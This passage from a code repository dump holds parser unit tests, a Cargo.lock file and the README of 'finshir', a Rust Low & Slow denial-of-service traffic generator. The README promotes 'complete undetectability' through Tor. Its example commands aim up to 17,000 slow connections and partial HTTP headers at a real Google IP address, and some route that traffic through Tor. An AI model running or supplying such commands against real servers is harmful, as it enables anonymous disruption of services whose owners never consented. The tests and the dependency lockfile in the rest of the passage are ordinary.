244 | check("%H %a %G");
245 | check("something");
246 | check("flower %d");
247 | }
248 |
249 | // Invalid formats must produce the invalid format error
250 | #[test]
251 | fn parses_invalid_time_format() {
252 | let check = |format| {
253 | assert!(
254 | parse_time_format(format).is_err(),
255 | "Parses invalid time correctly"
256 | )
257 | };
258 |
259 | check("%_=-%vbg=");
260 | check("yufb%44htv");
261 | check("sf%jhei9%990");
262 | }
263 |
264 | // Check that ordinary values are parsed correctly
265 | #[test]
266 | fn parses_valid_non_zero_usize() {
267 | let check = |num| {
268 | assert_eq!(
269 | parse_non_zero_usize(num),
270 | Ok(NonZeroUsize::new(num.parse().unwrap()).unwrap()),
271 | "Parses valid NonZeroUsize incorrectly"
272 | )
273 | };
274 |
275 | check("1");
276 | check("3");
277 | check("26655");
278 | check("+75");
279 | }
280 |
281 | // Invalid numbers must produce the invalid format error
282 | #[test]
283 | fn parses_invalid_non_zero_usize() {
284 | let check = |num| {
285 | assert!(
286 | parse_non_zero_usize(num).is_err(),
287 | "Parses invalid NonZeroUsize correctly"
288 | )
289 | };
290 |
291 | check(" ");
292 | check("abc5653odr!");
293 | check("6485&02hde");
294 | check("-565642");
295 | check(&"2178".repeat(50));
296 |
297 | assert_eq!(parse_non_zero_usize("0"), Err(NonZeroUsizeError::ZeroValue));
298 | }
299 | }
300 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
finshir
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 | You are seeing a high-performant, coroutines-driven, and fully customisable implementation of [Low & Slow](https://www.cloudflare.com/learning/ddos/ddos-low-and-slow-attack/) load generator designed for real-world pentesting. Its complete undetectability is achieved by connecting through [Tor](https://en.wikipedia.org/wiki/Tor_%28anonymity_network%29).
23 |
24 |
31 |
32 | ----------
33 |
34 | ## Contents
35 | - [Features](https://github.com/Gymmasssorla/finshir#features)
36 | - [Installation](https://github.com/Gymmasssorla/finshir#installation)
37 | - [Building from crates.io](https://github.com/Gymmasssorla/finshir#building-from-cratesio)
38 | - [Building from sources](https://github.com/Gymmasssorla/finshir#building-from-sources)
39 | - [Pre-compiled binaries](https://github.com/Gymmasssorla/finshir#pre-compiled-binaries)
40 | - [Options](https://github.com/Gymmasssorla/finshir#options)
41 | - [Overview](https://github.com/Gymmasssorla/finshir#overview)
42 | - [Minimal command](https://github.com/Gymmasssorla/finshir#minimal-command)
43 | - [Using the Tor network](https://github.com/Gymmasssorla/finshir#using-the-tor-network)
44 | - [Test intensity](https://github.com/Gymmasssorla/finshir#test-intensity)
45 | - [Connections count](https://github.com/Gymmasssorla/finshir#connections-count)
46 | - [Custom data portions](https://github.com/Gymmasssorla/finshir#custom-data-portions)
47 | - [Logging options](https://github.com/Gymmasssorla/finshir#logging-options)
48 | - [Gallery](https://github.com/Gymmasssorla/finshir#gallery)
49 | - [Initialisation](https://github.com/Gymmasssorla/finshir#initialisation)
50 | - [Errors](https://github.com/Gymmasssorla/finshir#errors)
51 | - [Being verbose](https://github.com/Gymmasssorla/finshir#being-verbose)
52 | - [Contributing](https://github.com/Gymmasssorla/finshir#contributing)
53 | - [Target platform](https://github.com/Gymmasssorla/finshir#target-platform)
54 | - [Legal disclaimer](https://github.com/Gymmasssorla/finshir#legal-disclaimer)
55 | - [Project links](https://github.com/Gymmasssorla/finshir#project-links)
56 | - [Contacts](https://github.com/Gymmasssorla/finshir#contacts)
57 |
58 | ----------
59 |
60 | ## Features
61 | - **Coroutines-driven.** Finshir uses [coroutines](https://en.wikipedia.org/wiki/Coroutine) (also called lightweight threads) instead of ordinary threads, which lets you open many more connections with fewer system resources.
62 |
63 | - **Generic.** Unlike other Low & Slow utilities, Finshir lets you transmit arbitrary data sets over the [TCP](https://en.m.wikipedia.org/wiki/Transmission_Control_Protocol) protocol. It may be partial HTTP headers, empty spaces, and so on.
64 |
65 | - **Written in Rust.** How you can see, all the logic is written completely in [Rust](https://www.rust-lang.org/), which means that it leverages bare-metal performance and high-level safety (no SIGSEGV, SIGILL, and other "funny" stuff).
66 |
67 | ----------
68 |
69 | ## Installation
70 | Currently, this project requires unstable standard library features, so this is why you must switch to the nightly channel to avoid compilation errors:
71 |
72 | ```
73 | $ rustup override set nightly-2019-04-25
74 | ```
75 |
76 | ### Building from crates.io
77 | ```bash
78 | $ cargo install finshir
79 | ```
80 |
81 | ### Building from sources
82 | ```bash
83 | $ git clone https://github.com/Gymmasssorla/finshir.git
84 | $ cd finshir
85 | $ cargo build --release
86 | ```
87 |
88 | ### Pre-compiled binaries
89 | The easiest way to run Finshir on your system is to download the pre-compiled binaries from the [existing releases](https://github.com/Gymmasssorla/finshir/releases), which doesn't require any external software (unlike the two previous approaches).
90 |
91 | ----------
92 |
93 | ## Options
94 | ```
95 | finshir 0.1.0
96 | Temirkhan Myrzamadi
97 | A coroutines-driven Low & Slow traffic sender, written in Rust
98 |
99 | USAGE:
100 | finshir [FLAGS] [OPTIONS] --receiver
101 |
102 | FLAGS:
103 | -h, --help Prints help information
104 | --use-tor Torify all sockets by connecting to a SOCKS5 proxy running
105 | on 127.0.0.1:9050
106 | -V, --version Prints version information
107 |
108 | OPTIONS:
109 | --connect-timeout
110 | If a timeout is reached and a socket wasn't connected, the program
111 | will retry the operation later.
112 |
113 | Note that this option currently doesn't work on sockets which are
114 | trying to connect through Tor. [default: 30secs]
115 | -c, --connections
116 | A number of connections the program will handle simultaneously. This
117 | option also equals to a number of coroutines [default: 1000]
118 | --date-time-format
119 | A format for displaying local date and time in log messages. Type
120 | `man strftime` to see the format specification [default: %X]
121 | --failed-count
122 | A number of failed data transmissions used to reconnect a socket to
123 | a remote web server [default: 5]
124 | --ip-ttl
125 | Specifies the IP_TTL value for all future sockets. Usually this
126 | value equals a number of routers that a packet can go through
127 | -f, --portions-file
128 | A file consisting of a custom JSON array of data portions, specified
129 | as strings
130 | -r, --receiver
131 | A receiver of generator traffic, specified as an IP address and a
132 | port number, separated by a colon
133 | -d, --test-duration
134 | A whole test duration, after which all spawned coroutines will stop
135 | their work [default: 64years 64hours 64secs]
136 | -v, --verbosity
137 | Enable one of the possible verbosity levels. The zero level doesn't
138 | print anything, and the last level prints everything [default: 3]
139 | [possible values: 0, 1, 2, 3, 4, 5]
140 | -w, --wait
141 | A waiting time span before test execution used to prevent a launch
142 | of an erroneous (unwanted) test [default: 5secs]
143 | --write-periodicity
144 | A time interval between writing data portions. This option can be
145 | used to modify test intensity [default: 30secs]
146 | --write-timeout
147 | If a timeout is reached and a data portion wasn't sent, the program
148 | will retry the operation later [default: 30secs]
149 |
150 | By default, Finshir generates 100 empty spaces as data portions. If you want to
151 | override this behaviour, consider using the `--portions-file` option.
152 |
153 | For more information see .
154 | ```
155 |
156 | ----------
157 |
158 | ## Overview
159 |
160 | ### Minimal command
161 | The following command spawns 1000 coroutines, each trying to establish a new TCP connection. When connections are established, it sends empty spaces every 30 seconds, thereby order a server to wait as long as it can:
162 |
163 | ```bash
164 | # Specify one of the Google's IP addresses as a target web server
165 | $ finshir --receiver=64.233.165.113:80
166 | ```
167 |
168 | ### Using the Tor network
169 | You can do this by specifying the `--use-tor` flag. It connects to your local SOCKS5 proxy running on 9050 port, which is typically used by Tor proxies. Also consider modifying the default configuration file located in `/etc/tor/torrc`.
170 |
171 | ```bash
172 | # Connect to the Google's address through your local Tor proxy
173 | $ finshir --receiver=64.233.165.113:80 --use-tor
174 | ```
175 |
176 | ### Test intensity
177 | Low & Slow techniques assume to be VERY SLOW, which means that you typically send a couple of bytes every N seconds. For instance, Finshir uses the 30 seconds interval by default, but it's modifiable as well:
178 |
179 | ```bash
180 | # Test the Google's server sending data portions every one minute
181 | $ finshir --receiver=64.233.165.113:80 --write-periodicity=1min
182 | ```
183 |
184 | ### Connections count
185 | The default number of parallel connections is 1000. However, you can modify this limit using the `--connections` option, but be sure that you system is able to handle such amount of file descriptors:
186 |
187 | ```bash
188 | # Modify the default limit of file descriptors to 17015
189 | $ sudo ulimit -n 17015
190 |
191 | # Test the target server using 17000 parallel TCP connections
192 | $ finshir --receiver=64.233.165.113:80 --connections=17000
193 | ```
194 |
195 | ### Custom data portions
196 | By default, Finshir generates 100 empty spaces as data portions to send. You can override this behaviour by specifying your custom messages as a file, consisting of a single JSON array. This example is focused on Google:
197 |
198 | ```bash
199 | # Send partial HTTP headers to Google using `--portions-file`
200 | $ finshir --receiver=64.233.165.113:80 --portions-file files/google.json
201 | ```
202 |
203 | ### Logging options
204 | Consider specifying a custom verbosity level from 0 to 5 (inclusively), which is done by the `--verbosity` option. There is also the `--date-time-format` option which tells Finshir to use your custom date-time format.
205 |
206 | ```bash
207 | # Use a custom date-time format and the last verbosity level
208 | $ finshir --receiver=64.233.165.113:80 --date-time-format="%F" --verbosity=5
209 | ```
210 |
211 | ----------
212 |
213 | ## Gallery
214 |
215 |
274 | 1556266767089
275 |
276 |
277 |
278 |
279 |
280 |
281 |
282 |
283 |
284 |
285 |
286 |
287 |
288 |
289 |
290 |
291 |
292 |
293 |
294 |
295 |
296 |
297 |
298 |
299 |
300 |
301 |
302 |
303 |
304 |
305 |
306 |
307 |
308 |
309 |
310 |
311 |
312 |
313 |
314 |
315 |
316 |
317 |
318 |
319 |
320 |
321 |
322 |
323 |
324 |
325 |
326 |
327 |
328 |
329 |
330 |
331 |
332 |
333 |
334 |
335 |
336 |
337 |
338 |
339 |
340 |
341 |
342 |
343 |
344 |
345 |
346 |
347 |
348 |
349 |
350 |
351 |
352 |
353 |
354 |
355 |
356 |
357 |
358 |
359 |
360 |
361 |
362 |
363 |
364 |
365 |
366 |
367 |
368 |
369 |
370 |
371 |
372 |
373 |
374 |
375 |
376 |
377 |
378 |
379 |
380 |
381 |
382 |
383 |
384 |
385 |
386 |
387 |
388 |
389 |
390 |
391 |
392 |
393 |
394 |
395 |
396 |
397 |
398 |
399 |
400 |
401 |
402 |
403 |
404 |
405 |
406 |
407 |
408 |
409 |
410 |
411 |
412 |
413 |
414 |
415 |
416 |
417 |
418 |
419 |
420 |
421 |
422 |
423 |
424 |
425 |
426 |
427 |
428 |
429 |
430 |
431 |
432 |
433 |
434 |
435 |
436 |
437 |
438 |
439 |
440 |
441 |
442 |
443 |
444 |
445 |
446 |
447 |
448 |
449 |
450 |
451 |
452 |
453 |
454 |
455 |
456 |
457 |
458 |
459 |
460 |
461 |
462 |
463 |
464 |
465 |
466 |
467 |
468 |
469 |
470 |
471 |
472 |
473 |
474 |
475 |
476 |
477 |
478 |
479 |
480 |
481 |
482 |
483 |
484 |
485 |
486 |
487 |
488 |
489 |
490 |
--------------------------------------------------------------------------------
/Cargo.lock:
--------------------------------------------------------------------------------
1 | # This file is automatically @generated by Cargo.
2 | # It is not intended for manual editing.
3 | [[package]]
4 | name = "ansi_term"
5 | version = "0.11.0"
6 | source = "registry+https://github.com/rust-lang/crates.io-index"
7 | dependencies = [
8 | "winapi 0.3.7 (registry+https://github.com/rust-lang/crates.io-index)",
9 | ]
10 |
11 | [[package]]
12 | name = "arrayvec"
13 | version = "0.4.10"
14 | source = "registry+https://github.com/rust-lang/crates.io-index"
15 | dependencies = [
16 | "nodrop 0.1.13 (registry+https://github.com/rust-lang/crates.io-index)",
17 | ]
18 |
19 | [[package]]
20 | name = "atty"
21 | version = "0.2.11"
22 | source = "registry+https://github.com/rust-lang/crates.io-index"
23 | dependencies = [
24 | "libc 0.2.53 (registry+https://github.com/rust-lang/crates.io-index)",
25 | "termion 1.5.2 (registry+https://github.com/rust-lang/crates.io-index)",
26 | "winapi 0.3.7 (registry+https://github.com/rust-lang/crates.io-index)",
27 | ]
28 |
29 | [[package]]
30 | name = "bitflags"
31 | version = "1.0.4"
32 | source = "registry+https://github.com/rust-lang/crates.io-index"
33 |
34 | [[package]]
35 | name = "byteorder"
36 | version = "1.3.1"
37 | source = "registry+https://github.com/rust-lang/crates.io-index"
38 |
39 | [[package]]
40 | name = "cc"
41 | version = "1.0.35"
42 | source = "registry+https://github.com/rust-lang/crates.io-index"
43 |
44 | [[package]]
45 | name = "cfg-if"
46 | version = "0.1.7"
47 | source = "registry+https://github.com/rust-lang/crates.io-index"
48 |
49 | [[package]]
50 | name = "clap"
51 | version = "2.33.0"
52 | source = "registry+https://github.com/rust-lang/crates.io-index"
53 | dependencies = [
54 | "ansi_term 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)",
55 | "atty 0.2.11 (registry+https://github.com/rust-lang/crates.io-index)",
56 | "bitflags 1.0.4 (registry+https://github.com/rust-lang/crates.io-index)",
57 | "strsim 0.8.0 (registry+https://github.com/rust-lang/crates.io-index)",
58 | "textwrap 0.11.0 (registry+https://github.com/rust-lang/crates.io-index)",
59 | "unicode-width 0.1.5 (registry+https://github.com/rust-lang/crates.io-index)",
60 | "vec_map 0.8.1 (registry+https://github.com/rust-lang/crates.io-index)",
61 | ]
62 |
63 | [[package]]
64 | name = "colored"
65 | version = "1.7.0"
66 | source = "registry+https://github.com/rust-lang/crates.io-index"
67 | dependencies = [
68 | "lazy_static 1.3.0 (registry+https://github.com/rust-lang/crates.io-index)",
69 | ]
70 |
71 | [[package]]
72 | name = "crossbeam"
73 | version = "0.7.1"
74 | source = "registry+https://github.com/rust-lang/crates.io-index"
75 | dependencies = [
76 | "cfg-if 0.1.7 (registry+https://github.com/rust-lang/crates.io-index)",
77 | "crossbeam-channel 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)",
78 | "crossbeam-deque 0.7.1 (registry+https://github.com/rust-lang/crates.io-index)",
79 | "crossbeam-epoch 0.7.1 (registry+https://github.com/rust-lang/crates.io-index)",
80 | "crossbeam-queue 0.1.2 (registry+https://github.com/rust-lang/crates.io-index)",
81 | "crossbeam-utils 0.6.5 (registry+https://github.com/rust-lang/crates.io-index)",
82 | ]
83 |
84 | [[package]]
85 | name = "crossbeam-channel"
86 | version = "0.3.8"
87 | source = "registry+https://github.com/rust-lang/crates.io-index"
88 | dependencies = [
89 | "crossbeam-utils 0.6.5 (registry+https://github.com/rust-lang/crates.io-index)",
90 | "smallvec 0.6.9 (registry+https://github.com/rust-lang/crates.io-index)",
91 | ]
92 |
93 | [[package]]
94 | name = "crossbeam-deque"
95 | version = "0.7.1"
96 | source = "registry+https://github.com/rust-lang/crates.io-index"
97 | dependencies = [
98 | "crossbeam-epoch 0.7.1 (registry+https://github.com/rust-lang/crates.io-index)",
99 | "crossbeam-utils 0.6.5 (registry+https://github.com/rust-lang/crates.io-index)",
100 | ]
101 |
102 | [[package]]
103 | name = "crossbeam-epoch"
104 | version = "0.7.1"
105 | source = "registry+https://github.com/rust-lang/crates.io-index"
106 | dependencies = [
107 | "arrayvec 0.4.10 (registry+https://github.com/rust-lang/crates.io-index)",
108 | "cfg-if 0.1.7 (registry+https://github.com/rust-lang/crates.io-index)",
109 | "crossbeam-utils 0.6.5 (registry+https://github.com/rust-lang/crates.io-index)",
110 | "lazy_static 1.3.0 (registry+https://github.com/rust-lang/crates.io-index)",
111 | "memoffset 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)",
112 | "scopeguard 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)",
113 | ]
114 |
115 | [[package]]
116 | name = "crossbeam-queue"
117 | version = "0.1.2"
118 | source = "registry+https://github.com/rust-lang/crates.io-index"
119 | dependencies = [
120 | "crossbeam-utils 0.6.5 (registry+https://github.com/rust-lang/crates.io-index)",
121 | ]
122 |
123 | [[package]]
124 | name = "crossbeam-utils"
125 | version = "0.6.5"
126 | source = "registry+https://github.com/rust-lang/crates.io-index"
127 | dependencies = [
128 | "cfg-if 0.1.7 (registry+https://github.com/rust-lang/crates.io-index)",
129 | "lazy_static 1.3.0 (registry+https://github.com/rust-lang/crates.io-index)",
130 | ]
131 |
132 | [[package]]
133 | name = "ctrlc"
134 | version = "3.1.2"
135 | source = "registry+https://github.com/rust-lang/crates.io-index"
136 | dependencies = [
137 | "nix 0.13.0 (registry+https://github.com/rust-lang/crates.io-index)",
138 | "winapi 0.3.7 (registry+https://github.com/rust-lang/crates.io-index)",
139 | ]
140 |
141 | [[package]]
142 | name = "fern"
143 | version = "0.5.8"
144 | source = "registry+https://github.com/rust-lang/crates.io-index"
145 | dependencies = [
146 | "colored 1.7.0 (registry+https://github.com/rust-lang/crates.io-index)",
147 | "log 0.4.6 (registry+https://github.com/rust-lang/crates.io-index)",
148 | ]
149 |
150 | [[package]]
151 | name = "finshir"
152 | version = "0.1.0"
153 | dependencies = [
154 | "colored 1.7.0 (registry+https://github.com/rust-lang/crates.io-index)",
155 | "ctrlc 3.1.2 (registry+https://github.com/rust-lang/crates.io-index)",
156 | "fern 0.5.8 (registry+https://github.com/rust-lang/crates.io-index)",
157 | "humantime 1.2.0 (registry+https://github.com/rust-lang/crates.io-index)",
158 | "log 0.4.6 (registry+https://github.com/rust-lang/crates.io-index)",
159 | "may 0.3.7 (registry+https://github.com/rust-lang/crates.io-index)",
160 | "serde 1.0.90 (registry+https://github.com/rust-lang/crates.io-index)",
161 | "serde_json 1.0.39 (registry+https://github.com/rust-lang/crates.io-index)",
162 | "structopt 0.2.15 (registry+https://github.com/rust-lang/crates.io-index)",
163 | "time 0.1.42 (registry+https://github.com/rust-lang/crates.io-index)",
164 | "tor-stream 0.2.0 (registry+https://github.com/rust-lang/crates.io-index)",
165 | ]
166 |
167 | [[package]]
168 | name = "generator"
169 | version = "0.6.13"
170 | source = "registry+https://github.com/rust-lang/crates.io-index"
171 | dependencies = [
172 | "cc 1.0.35 (registry+https://github.com/rust-lang/crates.io-index)",
173 | "log 0.4.6 (registry+https://github.com/rust-lang/crates.io-index)",
174 | "rustc_version 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)",
175 | ]
176 |
177 | [[package]]
178 | name = "heck"
179 | version = "0.3.1"
180 | source = "registry+https://github.com/rust-lang/crates.io-index"
181 | dependencies = [
182 | "unicode-segmentation 1.2.1 (registry+https://github.com/rust-lang/crates.io-index)",
183 | ]
184 |
185 | [[package]]
186 | name = "humantime"
187 | version = "1.2.0"
188 | source = "registry+https://github.com/rust-lang/crates.io-index"
189 | dependencies = [
190 | "quick-error 1.2.2 (registry+https://github.com/rust-lang/crates.io-index)",
191 | ]
192 |
193 | [[package]]
194 | name = "itoa"
195 | version = "0.4.3"
196 | source = "registry+https://github.com/rust-lang/crates.io-index"
197 |
198 | [[package]]
199 | name = "lazy_static"
200 | version = "1.3.0"
201 | source = "registry+https://github.com/rust-lang/crates.io-index"
202 |
203 | [[package]]
204 | name = "libc"
205 | version = "0.2.53"
206 | source = "registry+https://github.com/rust-lang/crates.io-index"
207 |
208 | [[package]]
209 | name = "log"
210 | version = "0.4.6"
211 | source = "registry+https://github.com/rust-lang/crates.io-index"
212 | dependencies = [
213 | "cfg-if 0.1.7 (registry+https://github.com/rust-lang/crates.io-index)",
214 | ]
215 |
216 | [[package]]
217 | name = "may"
218 | version = "0.3.7"
219 | source = "registry+https://github.com/rust-lang/crates.io-index"
220 | dependencies = [
221 | "crossbeam 0.7.1 (registry+https://github.com/rust-lang/crates.io-index)",
222 | "generator 0.6.13 (registry+https://github.com/rust-lang/crates.io-index)",
223 | "libc 0.2.53 (registry+https://github.com/rust-lang/crates.io-index)",
224 | "log 0.4.6 (registry+https://github.com/rust-lang/crates.io-index)",
225 | "may_queue 0.1.5 (registry+https://github.com/rust-lang/crates.io-index)",
226 | "miow 0.3.3 (registry+https://github.com/rust-lang/crates.io-index)",
227 | "nix 0.13.0 (registry+https://github.com/rust-lang/crates.io-index)",
228 | "num_cpus 1.10.0 (registry+https://github.com/rust-lang/crates.io-index)",
229 | "rustc_version 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)",
230 | "smallvec 0.6.9 (registry+https://github.com/rust-lang/crates.io-index)",
231 | "socket2 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)",
232 | "time 0.1.42 (registry+https://github.com/rust-lang/crates.io-index)",
233 | "winapi 0.3.7 (registry+https://github.com/rust-lang/crates.io-index)",
234 | ]
235 |
236 | [[package]]
237 | name = "may_queue"
238 | version = "0.1.5"
239 | source = "registry+https://github.com/rust-lang/crates.io-index"
240 | dependencies = [
241 | "crossbeam 0.7.1 (registry+https://github.com/rust-lang/crates.io-index)",
242 | "rustc_version 0.2.3 (registry+https://github.com/rust-lang/crates.io-index)",
243 | ]
244 |
245 | [[package]]
246 | name = "memoffset"
247 | version = "0.2.1"
248 | source = "registry+https://github.com/rust-lang/crates.io-index"
249 |
250 | [[package]]
251 | name = "miow"
252 | version = "0.3.3"
253 | source = "registry+https://github.com/rust-lang/crates.io-index"
254 | dependencies = [
255 | "socket2 0.3.8 (registry+https://github.com/rust-lang/crates.io-index)",
256 | "winapi 0.3.7 (registry+https://github.com/rust-lang/crates.io-index)",
257 | ]
258 |
259 | [[package]]
260 | name = "nix"
261 | version = "0.13.0"
262 | source = "registry+https://github.com/rust-lang/crates.io-index"
263 | dependencies = [
264 | "bitflags 1.0.4 (registry+https://github.com/rust-lang/crates.io-index)",
265 | "cc 1.0.35 (registry+https://github.com/rust-lang/crates.io-index)",
266 | "cfg-if 0.1.7 (registry+https://github.com/rust-lang/crates.io-index)",
267 | "libc 0.2.53 (registry+https://github.com/rust-lang/crates.io-index)",
268 | "void 1.0.2 (registry+https://github.com/rust-lang/crates.io-index)",
269 | ]
270 |
271 | [[package]]
272 | name = "nodrop"
273 | version = "0.1.13"
274 | source = "registry+https://github.com/rust-lang/crates.io-index"
275 |
276 | [[package]]
277 | name = "num_cpus"
278 | version = "1.10.0"
279 | source = "registry+https://github.com/rust-lang/crates.io-index"
280 | dependencies = [
281 | "libc 0.2.53 (registry+https://github.com/rust-lang/crates.io-index)",
282 | ]
283 |
284 | [[package]]
285 | name = "numtoa"
286 | version = "0.1.0"
287 | source = "registry+https://github.com/rust-lang/crates.io-index"
288 |
289 | [[package]]
290 | name = "proc-macro2"
291 | version = "0.4.28"
292 | source = "registry+https://github.com/rust-lang/crates.io-index"
293 | dependencies = [
294 | "unicode-xid 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)",
295 | ]
296 |
297 | [[package]]
298 | name = "quick-error"
299 | version = "1.2.2"
300 | source = "registry+https://github.com/rust-lang/crates.io-index"
301 |
302 | [[package]]
303 | name = "quote"
304 | version = "0.6.12"
305 | source = "registry+https://github.com/rust-lang/crates.io-index"
306 | dependencies = [
307 | "proc-macro2 0.4.28 (registry+https://github.com/rust-lang/crates.io-index)",
308 | ]
309 |
310 | [[package]]
311 | name = "redox_syscall"
312 | version = "0.1.54"
313 | source = "registry+https://github.com/rust-lang/crates.io-index"
314 |
315 | [[package]]
316 | name = "redox_termios"
317 | version = "0.1.1"
318 | source = "registry+https://github.com/rust-lang/crates.io-index"
319 | dependencies = [
320 | "redox_syscall 0.1.54 (registry+https://github.com/rust-lang/crates.io-index)",
321 | ]
322 |
323 | [[package]]
324 | name = "rustc_version"
325 | version = "0.2.3"
326 | source = "registry+https://github.com/rust-lang/crates.io-index"
327 | dependencies = [
328 | "semver 0.9.0 (registry+https://github.com/rust-lang/crates.io-index)",
329 | ]
330 |
331 | [[package]]
332 | name = "ryu"
333 | version = "0.2.7"
334 | source = "registry+https://github.com/rust-lang/crates.io-index"
335 |
336 | [[package]]
337 | name = "scopeguard"
338 | version = "0.3.3"
339 | source = "registry+https://github.com/rust-lang/crates.io-index"
340 |
341 | [[package]]
342 | name = "semver"
343 | version = "0.9.0"
344 | source = "registry+https://github.com/rust-lang/crates.io-index"
345 | dependencies = [
346 | "semver-parser 0.7.0 (registry+https://github.com/rust-lang/crates.io-index)",
347 | ]
348 |
349 | [[package]]
350 | name = "semver-parser"
351 | version = "0.7.0"
352 | source = "registry+https://github.com/rust-lang/crates.io-index"
353 |
354 | [[package]]
355 | name = "serde"
356 | version = "1.0.90"
357 | source = "registry+https://github.com/rust-lang/crates.io-index"
358 | dependencies = [
359 | "serde_derive 1.0.90 (registry+https://github.com/rust-lang/crates.io-index)",
360 | ]
361 |
362 | [[package]]
363 | name = "serde_derive"
364 | version = "1.0.90"
365 | source = "registry+https://github.com/rust-lang/crates.io-index"
366 | dependencies = [
367 | "proc-macro2 0.4.28 (registry+https://github.com/rust-lang/crates.io-index)",
368 | "quote 0.6.12 (registry+https://github.com/rust-lang/crates.io-index)",
369 | "syn 0.15.33 (registry+https://github.com/rust-lang/crates.io-index)",
370 | ]
371 |
372 | [[package]]
373 | name = "serde_json"
374 | version = "1.0.39"
375 | source = "registry+https://github.com/rust-lang/crates.io-index"
376 | dependencies = [
377 | "itoa 0.4.3 (registry+https://github.com/rust-lang/crates.io-index)",
378 | "ryu 0.2.7 (registry+https://github.com/rust-lang/crates.io-index)",
379 | "serde 1.0.90 (registry+https://github.com/rust-lang/crates.io-index)",
380 | ]
381 |
382 | [[package]]
383 | name = "smallvec"
384 | version = "0.6.9"
385 | source = "registry+https://github.com/rust-lang/crates.io-index"
386 |
387 | [[package]]
388 | name = "socket2"
389 | version = "0.3.8"
390 | source = "registry+https://github.com/rust-lang/crates.io-index"
391 | dependencies = [
392 | "cfg-if 0.1.7 (registry+https://github.com/rust-lang/crates.io-index)",
393 | "libc 0.2.53 (registry+https://github.com/rust-lang/crates.io-index)",
394 | "redox_syscall 0.1.54 (registry+https://github.com/rust-lang/crates.io-index)",
395 | "winapi 0.3.7 (registry+https://github.com/rust-lang/crates.io-index)",
396 | ]
397 |
398 | [[package]]
399 | name = "socks"
400 | version = "0.3.2"
401 | source = "registry+https://github.com/rust-lang/crates.io-index"
402 | dependencies = [
403 | "byteorder 1.3.1 (registry+https://github.com/rust-lang/crates.io-index)",
404 | "libc 0.2.53 (registry+https://github.com/rust-lang/crates.io-index)",
405 | "winapi 0.2.8 (registry+https://github.com/rust-lang/crates.io-index)",
406 | "ws2_32-sys 0.2.1 (registry+https://github.com/rust-lang/crates.io-index)",
407 | ]
408 |
409 | [[package]]
410 | name = "strsim"
411 | version = "0.8.0"
412 | source = "registry+https://github.com/rust-lang/crates.io-index"
413 |
414 | [[package]]
415 | name = "structopt"
416 | version = "0.2.15"
417 | source = "registry+https://github.com/rust-lang/crates.io-index"
418 | dependencies = [
419 | "clap 2.33.0 (registry+https://github.com/rust-lang/crates.io-index)",
420 | "structopt-derive 0.2.15 (registry+https://github.com/rust-lang/crates.io-index)",
421 | ]
422 |
423 | [[package]]
424 | name = "structopt-derive"
425 | version = "0.2.15"
426 | source = "registry+https://github.com/rust-lang/crates.io-index"
427 | dependencies = [
428 | "heck 0.3.1 (registry+https://github.com/rust-lang/crates.io-index)",
429 | "proc-macro2 0.4.28 (registry+https://github.com/rust-lang/crates.io-index)",
430 | "quote 0.6.12 (registry+https://github.com/rust-lang/crates.io-index)",
431 | "syn 0.15.33 (registry+https://github.com/rust-lang/crates.io-index)",
432 | ]
433 |
434 | [[package]]
435 | name = "syn"
436 | version = "0.15.33"
437 | source = "registry+https://github.com/rust-lang/crates.io-index"
438 | dependencies = [
439 | "proc-macro2 0.4.28 (registry+https://github.com/rust-lang/crates.io-index)",
440 | "quote 0.6.12 (registry+https://github.com/rust-lang/crates.io-index)",
441 | "unicode-xid 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)",
442 | ]
443 |
444 | [[package]]
445 | name = "termion"
446 | version = "1.5.2"
447 | source = "registry+https://github.com/rust-lang/crates.io-index"
448 | dependencies = [
449 | "libc 0.2.53 (registry+https://github.com/rust-lang/crates.io-index)",
450 | "numtoa 0.1.0 (registry+https://github.com/rust-lang/crates.io-index)",
451 | "redox_syscall 0.1.54 (registry+https://github.com/rust-lang/crates.io-index)",
452 | "redox_termios 0.1.1 (registry+https://github.com/rust-lang/crates.io-index)",
453 | ]
454 |
455 | [[package]]
456 | name = "textwrap"
457 | version = "0.11.0"
458 | source = "registry+https://github.com/rust-lang/crates.io-index"
459 | dependencies = [
460 | "unicode-width 0.1.5 (registry+https://github.com/rust-lang/crates.io-index)",
461 | ]
462 |
463 | [[package]]
464 | name = "time"
465 | version = "0.1.42"
466 | source = "registry+https://github.com/rust-lang/crates.io-index"
467 | dependencies = [
468 | "libc 0.2.53 (registry+https://github.com/rust-lang/crates.io-index)",
469 | "redox_syscall 0.1.54 (registry+https://github.com/rust-lang/crates.io-index)",
470 | "winapi 0.3.7 (registry+https://github.com/rust-lang/crates.io-index)",
471 | ]
472 |
473 | [[package]]
474 | name = "tor-stream"
475 | version = "0.2.0"
476 | source = "registry+https://github.com/rust-lang/crates.io-index"
477 | dependencies = [
478 | "lazy_static 1.3.0 (registry+https://github.com/rust-lang/crates.io-index)",
479 | "socks 0.3.2 (registry+https://github.com/rust-lang/crates.io-index)",
480 | ]
481 |
482 | [[package]]
483 | name = "unicode-segmentation"
484 | version = "1.2.1"
485 | source = "registry+https://github.com/rust-lang/crates.io-index"
486 |
487 | [[package]]
488 | name = "unicode-width"
489 | version = "0.1.5"
490 | source = "registry+https://github.com/rust-lang/crates.io-index"
491 |
492 | [[package]]
493 | name = "unicode-xid"
494 | version = "0.1.0"
495 | source = "registry+https://github.com/rust-lang/crates.io-index"
496 |
497 | [[package]]
498 | name = "vec_map"
499 | version = "0.8.1"
500 | source = "registry+https://github.com/rust-lang/crates.io-index"
501 |
502 | [[package]]
503 | name = "void"
504 | version = "1.0.2"
505 | source = "registry+https://github.com/rust-lang/crates.io-index"
506 |
507 | [[package]]
508 | name = "winapi"
509 | version = "0.2.8"
510 | source = "registry+https://github.com/rust-lang/crates.io-index"
511 |
512 | [[package]]
513 | name = "winapi"
514 | version = "0.3.7"
515 | source = "registry+https://github.com/rust-lang/crates.io-index"
516 | dependencies = [
517 | "winapi-i686-pc-windows-gnu 0.4.0 (registry+https://github.com/rust-lang/crates.io-index)",
